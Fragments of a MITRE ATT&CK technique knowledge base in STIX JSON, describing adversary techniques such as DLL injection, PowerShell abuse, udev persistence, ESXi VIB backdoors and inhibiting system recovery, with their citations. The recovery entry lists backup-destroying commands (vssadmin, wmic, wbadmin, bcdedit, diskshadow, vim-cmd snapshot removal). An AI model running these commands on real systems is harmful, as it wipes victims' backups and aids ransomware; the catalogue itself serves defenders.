                    "url": "https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection"
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            "name": "Dynamic-link Library Injection",
            "description": "Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.  \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code> API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of <code>LoadLibrary</code>).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's <code>AddressOfEntryPoint</code> before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ",
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            "created": "2017-05-31T21:31:06.512Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1086",
                    "external_id": "T1086"
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                {
                    "source_name": "TechNet PowerShell",
                    "description": "Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.",
                    "url": "https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx"
                },
                {
                    "source_name": "Powersploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "url": "https://github.com/mattifestation/PowerSploit"
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                {
                    "source_name": "Github PSAttack",
                    "description": "Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.",
                    "url": "https://github.com/jaredhaight/PSAttack"
                },
                {
                    "source_name": "Sixdub PowerPick Jan 2016",
                    "description": "Warner, J.. (2015, January 6). Inexorable PowerShell \u2013 A Red Teamer\u2019s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018.",
                    "url": "http://www.sixdub.net/?p=367"
                },
                {
                    "source_name": "SilentBreak Offensive PS Dec 2015",
                    "description": "Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018.",
                    "url": "https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/"
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                {
                    "source_name": "Microsoft PSfromCsharp APR 2014",
                    "description": "Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019.",
                    "url": "https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/"
                },
                {
                    "source_name": "Malware Archaeology PowerShell Cheat Sheet",
                    "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.",
                    "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"
                },
                {
                    "source_name": "FireEye PowerShell Logging 2016",
                    "description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html"
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            "modified": "2025-10-24T17:49:36.765Z",
            "name": "PowerShell",
            "description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363),  PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)",
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            "x_mitre_deprecated": false,
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            "id": "attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636",
            "created": "2020-10-01T02:17:46.086Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1588/005",
                    "external_id": "T1588.005"
                },
                {
                    "source_name": "PegasusCitizenLab",
                    "description": "Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.",
                    "url": "https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/"
                },
                {
                    "source_name": "NationsBuying",
                    "description": "Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.",
                    "url": "https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html"
                },
                {
                    "source_name": "Exploit Database",
                    "description": "Offensive Security. (n.d.). Exploit Database. Retrieved October 15, 2020.",
                    "url": "https://www.exploit-db.com/"
                },
                {
                    "source_name": "TempertonDarkHotel",
                    "description": "Temperton, J. (2015, August 10). Hacking Team zero-day used in new Darkhotel attacks. Retrieved March 9, 2017.",
                    "url": "https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage"
                },
                {
                    "source_name": "Wired SandCat Oct 2019",
                    "description": "Zetter, K. (2019, October 3). Researchers Say They Uncovered Uzbekistan Hacking Operations Due to Spectacularly Bad OPSEC. Retrieved October 15, 2020.",
                    "url": "https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec"
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            "modified": "2025-10-24T17:49:36.851Z",
            "name": "Exploits",
            "description": "Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)\n\nIn addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)\n\nAn adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Stealth](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",
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                    "phase_name": "resource-development"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
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        {
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            "created": "2020-02-11T19:01:56.887Z",
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                    "url": "https://attack.mitre.org/techniques/T1556",
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            "modified": "2026-05-12T15:12:00.724Z",
            "name": "Modify Authentication Process",
            "description": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.",
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            "created": "2024-09-26T17:02:09.888Z",
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                {
                    "source_name": "Ignacio Udev research 2024",
                    "description": "Eder P. Ignacio. (2024, February 21). Leveraging Linux udev for persistence. Retrieved September 26, 2024.",
                    "url": "https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/"
                },
                {
                    "source_name": "Elastic Linux Persistence 2024",
                    "description": "Ruben Groenewoud. (2024, August 29). Linux Detection Engineering -  A Sequel on Persistence Mechanisms. Retrieved October 16, 2024.",
                    "url": "https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms"
                },
                {
                    "source_name": "Reichert aon sedexp 2024",
                    "description": "Zachary Reichert. (2024, August 19). Unveiling \"sedexp\": A Stealthy Linux Malware Exploiting udev Rules. Retrieved September 26, 2024.",
                    "url": "https://www.aon.com/en/insights/cyber-labs/unveiling-sedexp"
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            "modified": "2025-10-24T17:49:37.034Z",
            "name": "Udev Rules",
            "description": "Adversaries may maintain persistence through executing malicious content triggered using udev rules. Udev is the Linux kernel device manager that dynamically manages device nodes, handles access to pseudo-device files in the `/dev` directory, and responds to hardware events, such as when external devices like hard drives or keyboards are plugged in or removed. Udev uses rule files with `match keys` to specify the conditions a hardware event must meet and `action keys` to define the actions that should follow. Root permissions are required to create, modify, or delete rule files located in `/etc/udev/rules.d/`, `/run/udev/rules.d/`, `/usr/lib/udev/rules.d/`, `/usr/local/lib/udev/rules.d/`, and `/lib/udev/rules.d/`. Rule priority is determined by both directory and by the digit prefix in the rule filename.(Citation: Ignacio Udev research 2024)(Citation: Elastic Linux Persistence 2024)\n\nAdversaries may abuse the udev subsystem by adding or modifying rules in udev rule files to execute malicious content. For example, an adversary may configure a rule to execute their binary each time the pseudo-device file, such as `/dev/random`, is accessed by an application. Although udev is limited to running short tasks and is restricted by systemd-udevd's sandbox (blocking network and filesystem access), attackers may use scripting commands under the action key `RUN+=` to detach and run the malicious content\u2019s process in the background to bypass these controls.(Citation: Reichert aon sedexp 2024)",
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                    "source_name": "EyeofRa Detecting Hooking June 2017",
                    "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.",
                    "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/"
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                    "source_name": "Zairon Hooking Dec 2006",
                    "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.",
                    "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/"
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                {
                    "source_name": "GMER Rootkits",
                    "description": "GMER. (n.d.). GMER. Retrieved December 12, 2017.",
                    "url": "http://www.gmer.net/"
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                {
                    "source_name": "MWRInfoSecurity Dynamic Hooking 2015",
                    "description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.",
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                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
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                    "source_name": "Intezer Symbiote 2022",
                    "description": "Joakim Kennedy and The BlackBerry Threat Research & Intelligence Team. (2022, June 9). Symbiote Deep-Dive: Analysis of a New, Nearly-Impossible-to-Detect Linux Threat. Retrieved March 24, 2025.",
                    "url": "https://intezer.com/blog/research/new-linux-threat-symbiote/"
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                    "source_name": "HighTech Bridge Inline Hooking Sept 2011",
                    "description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved November 17, 2024.",
                    "url": "https://www.scribd.com/document/68671361/Inline-Hooking-in-Windows"
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                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918"
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                    "source_name": "Microsoft Hook Overview",
                    "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx"
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                    "source_name": "Microsoft Process Snapshot",
                    "description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.",
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                    "source_name": "PreKageo Winhook Jul 2011",
                    "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.",
                    "url": "https://github.com/prekageo/winhook"
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                    "source_name": "Jay GetHooks Sept 2011",
                    "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.",
                    "url": "https://github.com/jay/gethooks"
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                {
                    "source_name": "StackExchange Hooks Jul 2012",
                    "description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.",
                    "url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis"
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                    "source_name": "Adlice Software IAT Hooks Oct 2014",
                    "description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.",
                    "url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/"
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                    "source_name": "Volatility Detecting Hooks Sept 2012",
                    "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.",
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                {
                    "source_name": "Dark Reading Code Spaces Cyber Attack",
                    "description": " Brian Prince. (2014, June 20). Code Hosting Service Shuts Down After Cyber Attack. Retrieved March 21, 2023.",
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                {
                    "source_name": "FireEye WannaCry 2017",
                    "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.",
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                    "source_name": "Cybereason",
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                    "source_name": "Crytox Ransomware",
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                    "source_name": "Rhino Security Labs AWS S3 Ransomware",
                    "description": "Spencer Gietzen. (n.d.). AWS Simple Storage Service S3 Ransomware Part 2: Prevention and Defense. Retrieved March 21, 2023.",
                    "url": "https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/"
                },
                {
                    "source_name": "ZDNet Ransomware Backups 2020",
                    "description": "Steve Ranger. (2020, February 27). Ransomware victims thought their backups were safe. They were wrong. Retrieved March 21, 2023.",
                    "url": "https://www.zdnet.com/article/ransomware-victims-thought-their-backups-were-safe-they-were-wrong/"
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                {
                    "source_name": "disable_notif_synology_ransom",
                    "description": "TheDFIRReport. (2022, March 1). Disabling notifications on Synology servers before ransom. Retrieved September 12, 2024.",
                    "url": "https://x.com/TheDFIRReport/status/1498657590259109894"
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            "name": "Inhibit System Recovery",
            "description": "Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) This may deny access to available backups and recovery options.\n\nOperating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Furthermore, adversaries may disable recovery notifications, then corrupt backups.(Citation: disable_notif_synology_ransom)\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* <code>vssadmin.exe</code> can be used to delete all volume shadow copies on a system - <code>vssadmin.exe delete shadows /all /quiet</code>\n* [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) can be used to delete volume shadow copies - <code>wmic shadowcopy delete</code>\n* <code>wbadmin.exe</code> can be used to delete the Windows Backup Catalog - <code>wbadmin.exe delete catalog -quiet</code>\n* <code>bcdedit.exe</code> can be used to disable automatic Windows recovery features by modifying boot configuration data - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no</code>\n* <code>REAgentC.exe</code> can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system\n* <code>diskshadow.exe</code> can be used to delete all volume shadow copies on a system - <code>diskshadow delete shadows all</code> (Citation: Diskshadow) (Citation: Crytox Ransomware)\n\nOn network devices, adversaries may leverage [Disk Wipe](https://attack.mitre.org/techniques/T1561) to delete backup firmware images and reformat the file system, then [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.\n\nOn ESXi servers, adversaries may delete or encrypt snapshots of virtual machines to support [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486), preventing them from being leveraged as backups (e.g., via ` vim-cmd vmsvc/snapshot.removeall`).(Citation: Cybereason)\n\nAdversaries may also delete \u201conline\u201d backups that are connected to their network \u2013 whether via network storage media or through folders that sync to cloud services.(Citation: ZDNet Ransomware Backups 2020) In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, database backups, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.(Citation: Dark Reading Code Spaces Cyber Attack)(Citation: Rhino Security Labs AWS S3 Ransomware)",
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                    "source_name": "Lookout Dark Caracal Jan 2018",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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                    "source_name": "Trend Micro APT Attack Tools",
                    "description": "Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.",
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                    "source_name": "GitHub Ultimate AppLocker Bypass List",
                    "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.",
                    "url": "https://github.com/api0cradle/UltimateAppLockerByPassList"
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                    "source_name": "LOLBAS Project",
                    "description": "Oddvar Moe et al. (2022, February).  Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022.",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "description": "Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing [Application Layer Protocol](https://attack.mitre.org/techniques/T1071). Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.",
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                    "source_name": "MSDN InstallUtil",
                    "description": "Microsoft. (n.d.). Installutil.exe (Installer Tool). Retrieved July 1, 2016.",
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                    "source_name": "LOLBAS Installutil",
                    "description": "LOLBAS. (n.d.). Installutil.exe. Retrieved July 31, 2019.",
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                    "external_id": "T1001.001"
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                    "source_name": "FireEye SUNBURST Backdoor December 2020",
                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "description": "Adversaries may add junk data to protocols used for command and control to make detection more difficult.(Citation: FireEye SUNBURST Backdoor December 2020) By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters. ",
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            "created": "2020-10-02T17:08:07.742Z",
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                    "source_name": "ThreatPost Social Media Phishing",
                    "description": "O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020.",
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            "name": "Spearphishing Service",
            "description": "Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.",
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            "description": "**This technique has been deprecated. Please use [Non-Standard Port](https://attack.mitre.org/techniques/T1571) where appropriate.**\n\nAdversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n\n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)",
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            "created": "2025-03-27T18:41:08.494Z",
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                    "external_id": "T1505.006"
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                {
                    "source_name": "Google Cloud Threat Intelligence ESXi VIBs 2022",
                    "description": "Alexander Marvi, Jeremy Koppen, Tufail Ahmed, and Jonathan Lepore. (2022, September 29). Bad VIB(E)s Part One: Investigating Novel Malware Persistence Within ESXi Hypervisors. Retrieved March 26, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/esxi-hypervisors-malware-persistence"
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                    "source_name": "VMware VIBs",
                    "description": "Kyle Gleed. (2011, September 13). What's in a VIB?. Retrieved March 27, 2025.",
                    "url": "https://blogs.vmware.com/vsphere/2011/09/whats-in-a-vib.html"
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            "name": "vSphere Installation Bundles",
            "description": "Adversaries may abuse vSphere Installation Bundles (VIBs) to establish persistent access to ESXi hypervisors. VIBs are collections of files used for software distribution and virtual system management in VMware environments. Since ESXi uses an in-memory filesystem where changes made to most files are stored in RAM rather than in persistent storage, these modifications are lost after a reboot. However, VIBs can be used to create startup tasks, apply custom firewall rules, or deploy binaries that persist across reboots. Typically, administrators use VIBs for updates and system maintenance.\n\nVIBs can be broken down into three components:(Citation: VMware VIBs)\n\n* VIB payload: a `.vgz` archive containing the directories and files to be created and executed on boot when the VIBs are loaded.  \n* Signature file: verifies the host acceptance level of a VIB, indicating what testing and validation has been done by VMware or its partners before publication of a VIB. By default, ESXi hosts require a minimum acceptance level of PartnerSupported for VIB installation, meaning the VIB is published by a trusted VMware partner. However, privileged users can change the default acceptance level using the `esxcli` command line interface. Additionally, VIBs are able to be installed regardless of acceptance level by using the <code> esxcli software vib install --force</code> command. \n* XML descriptor file: a configuration file containing associated VIB metadata, such as the name of the VIB and its dependencies.  \n\nAdversaries may leverage malicious VIB packages to maintain persistent access to ESXi hypervisors, allowing system changes to be executed upon each bootup of ESXi \u2013 such as using  `esxcli` to enable firewall rules for backdoor traffic, creating listeners on hard coded ports, and executing backdoors.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022) Adversaries may also masquerade their malicious VIB files as PartnerSupported by modifying the XML descriptor file.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)",
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                    "url": "https://attack.mitre.org/techniques/T1552/007",
                    "external_id": "T1552.007"
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                {
                    "source_name": "Unit 42 Unsecured Docker Daemons",
                    "description": "Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/"
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                    "source_name": "Docker API",
                    "description": "Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.",
                    "url": "https://docs.docker.com/engine/api/v1.41/"
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                    "source_name": "Kubernetes API",
                    "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.",
                    "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/"
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            "description": "Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API)\n\nAn adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components. ",
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            "id": "attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba",
            "created": "2020-10-01T00:51:28.513Z",
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                    "url": "https://attack.mitre.org/techniques/T1584/001",
                    "external_id": "T1584.001"
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                {
                    "source_name": "Krebs DNS Hijack 2019",
                    "description": "Brian Krebs. (2019, February 18). A Deep Dive on the Recent Widespread DNS Hijacking Attacks. Retrieved February 14, 2022.",
                    "url": "https://krebsonsecurity.com/2019/02/a-deep-dive-on-the-recent-widespread-dns-hijacking-attacks/"
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                {
                    "source_name": "ICANNDomainNameHijacking",
                    "description": "ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved November 17, 2024.",
                    "url": "https://www.icann.org/en/ssac/registration-services/documents/sac-007-domain-name-hijacking-incidents-threats-risks-and-remediation-12-07-2005-en"
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                    "source_name": "Palo Alto Unit 42 Domain Shadowing 2022",
                    "description": "Janos Szurdi, Rebekah Houser and Daiping Liu. (2022, September 21). Domain Shadowing: A Stealthy Use of DNS Compromise for Cybercrime. Retrieved March 7, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/domain-shadowing/"
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                {
                    "source_name": "Microsoft Sub Takeover 2020",
                    "description": "Microsoft. (2020, September 29). Prevent dangling DNS entries and avoid subdomain takeover. Retrieved October 12, 2020.",
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            "description": "Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account, taking advantage of renewal process gaps, or compromising a cloud service that enables managing domains (e.g., AWS Route53).(Citation: Krebs DNS Hijack 2019)\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)\n\nAdversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.(Citation: Palo Alto Unit 42 Domain Shadowing 2022)",
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            "x_mitre_contributors": [
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                    "url": "https://attack.mitre.org/techniques/T1505/001",
                    "external_id": "T1505.001"
                },
                {
                    "source_name": "Microsoft CLR Integration 2017",
                    "description": "Microsoft. (2017, June 19). Common Language Runtime Integration. Retrieved July 8, 2019.",
                    "url": "https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017"
                },
                {
                    "source_name": "Microsoft xp_cmdshell 2017",
                    "description": "Microsoft. (2017, March 15). xp_cmdshell (Transact-SQL). Retrieved September 9, 2019.",
                    "url": "https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017"
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                {
                    "source_name": "Kaspersky MSSQL Aug 2019",
                    "description": "Plakhov, A., Sitchikhin, D. (2019, August 22). Agent 1433: remote attack on Microsoft SQL Server. Retrieved September 4, 2019.",
                    "url": "https://securelist.com/malicious-tasks-in-ms-sql-server/92167/"
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                {
                    "source_name": "NetSPI Startup Stored Procedures",
                    "description": "Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server \u2013 Part 1: Startup Stored Procedures. Retrieved September 12, 2024.",
                    "url": "https://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/"
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                    "source_name": "NetSPI SQL Server CLR",
                    "description": "Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. Retrieved September 12, 2024.",
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            "created": "2020-10-19T17:58:04.155Z",
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                {
                    "source_name": "Mandiant - Synful Knock",
                    "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved November 17, 2024.",
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            "name": "Network Device Authentication",
            "description": "Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password.  The modification includes a specific password which is implanted in the operating system image via the patch.  Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)",
